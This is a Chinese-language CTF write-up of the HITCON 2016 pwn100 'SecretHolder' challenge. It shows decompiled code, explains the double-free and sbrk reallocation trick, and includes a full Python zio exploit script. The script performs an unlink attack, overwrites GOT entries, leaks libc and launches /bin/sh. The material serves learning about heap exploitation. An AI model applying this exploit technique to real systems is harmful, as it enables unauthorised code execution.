0x00: 前几天hitcon2016开啦,就想着去看看题,学习下,pwn100的这个SecretHolder是个double free的洞,但是当时并不知道怎么去搞,今天刚从Icemakr 师傅那里学到了思路,所以就记录一下。
0x01: 程序分析 程序很容易分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 void  __fastcall __noreturn main (__int64 a1, char  **a2, char  **a3)   int  choice;    char  s;    __int64 v5;    v5 = *MK_FP(__FS__, 40L L);   sub_400C80(a1, a2, a3);   puts ("Hey! Do you have any secret?" );   puts ("I can help you to hold your secrets, and no one will be able to see it :)" );   while  ( 1  )   {     puts ("1. Keep secret" );     puts ("2. Wipe secret" );     puts ("3. Renew secret" );     memset (&s, 0 , 4u LL);     read (0 , &s, 4u LL);     choice = atoi(&s);     switch  ( choice )     {       case  2 :         wipe_secret();         break ;       case  3 :         renew_secret();         break ;       case  1 :         keep_secret();         break ;     }   } } 
新建块的时候
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 if  ( size_of_secret == 2  )                    {   if  ( !flag_big )   {     big_buffer = calloc (1u LL, 4000u LL);     flag_big = 1 ;     puts ("Tell me your secret: " );     read (0 , big_buffer, 4000u LL);   } } else  if  ( size_of_secret == 3  )               {   if  ( !flag_huge )   {     huge_buffer = calloc (1u LL, 400000u LL);     flag_huge = 1 ;     puts ("Tell me your secret: " );     read (0 , huge_buffer, 400000u LL);   } } else  if  ( size_of_secret == 1  && !flag_small ){   small_buf = calloc (1u LL, 40u LL);   flag_small = 1 ;   puts ("Tell me your secret: " );   read (0 , small_buf, 40u LL); } 
释放块的时候
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 switch  ( wipe_choice ) {    case  2 :      free (big_buffer);      flag_big = 0 ;      break ;    case  3 :      free (huge_buffer);      flag_huge = 0 ;      break ;    case  1 :      free (small_buf);      flag_small = 0 ;      break ;  } 
在.bss段上有标志位,标志着当前这种块有没有被使用。
问题是,每种块只能建一次,而且 huge buffer是mmap出来的,我以为就没啥用了…今天看了师傅的博客才知道
实际上,先创建huge note,再free huge note之后,再次创建huge note时,malloc就会用sbrk来分配内存了,之后就是常规的double free了。思路get,就可以接着搞了。
0x02: 分配huge,释放huge,然后分配small,big,然后释放small,big,再分配huge时,分配的huge内存分配就如图所示了。free(big_chunk),之后就可以得到.bss上一个地址啦,接着就可以去做leak,修改got的事情了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97    from  zio import  *    from  time import  sleep        target = ('127.0.0.1' ,10001 )    io = zio(target, timeout=10000 , print_read=COLORED(RAW, 'red' ), print_write=COLORED(RAW, 'green' ))    big_note_addr       = 0x6020a0     huge_note_addr      = 0x6020a8     small_note_addr     = 0x6020b0     got_atoi_addr       = 0x602070     got_free_addr       = 0x602018     plt_puts_addr       = 0x4006c0         offset_system_atoi = 0xe510     def  Keep_secret (size,content) :        io.read_until('3. Renew secret' )        io.writeline('1' )        io.read_until('3. Huge secret' )        io.writeline(str(size))        io.read_until('Tell me your secret:' )        io.writeline(str(content))    def  Wipe_secret (size) :        io.read_until('3. Renew secret' )        io.writeline('2' )        io.read_until('3. Huge secret' )        io.writeline(str(size)) def  Renew_secret (size,new_content) :       io.read_until('3. Renew secret' )        io.writeline('3' )        io.read_until('3. Huge secret' )        io.writeline(str(size))        io.read_until('Tell me your secret:' )        io.writeline(str(new_content))                    Keep_secret(3 ,"C" *0x100 )    Wipe_secret(3 )        Keep_secret(1 ,"A" *0x20 )    Keep_secret(2 ,"B" *0x80 )        Wipe_secret(1 )    Wipe_secret(2 )    payload  = l64(0x0 ) + l64(0x30 ) + l64(huge_note_addr - 0x8  * 3 ) + l64(huge_note_addr - 0x8  * 2 )        payload += l64(0x20 ) + l64(0xa0 )    payload += 'A'  * 0x90         payload += l64(0x0 ) + l64(0xa1 )    payload += 'A'  * 0x90         payload += l64(0x0 ) + l64(0xa1 )        Keep_secret(3 ,payload)            Wipe_secret(2 )        payload_leak =  "A" *0x10     payload_leak += l64(got_atoi_addr) + l64(got_free_addr) + l64(got_atoi_addr)    payload_leak += l32(0x1 )*3         Renew_secret(3 ,payload_leak)        payload_overwrite = l64(plt_puts_addr) + l64(plt_puts_addr+0x6 )            Renew_secret(3 ,payload_overwrite)    Wipe_secret(2 )    tmp = io.read(8 )[1 :][::-1 ][1 :][::-1 ]    leak_atoi_addr = l64(tmp.ljust(8 ,'\x00' ))    print  "system addr : 0x%x"  % leak_atoi_addr    system_addr = leak_atoi_addr + offset_system_atoi    print  "system addr : 0x%x"  % system_addr    raw_input('0x0000000000400B1E' )    Renew_secret(1 ,l64(system_addr))    io.write('/bin/sh\0' )    io.interact() 
不知道为啥io.gdb_hint()没断下来,所以我打断点都是用raw_input()然后attach进去搞的,所以exp看起来贼乱…
0x03:参考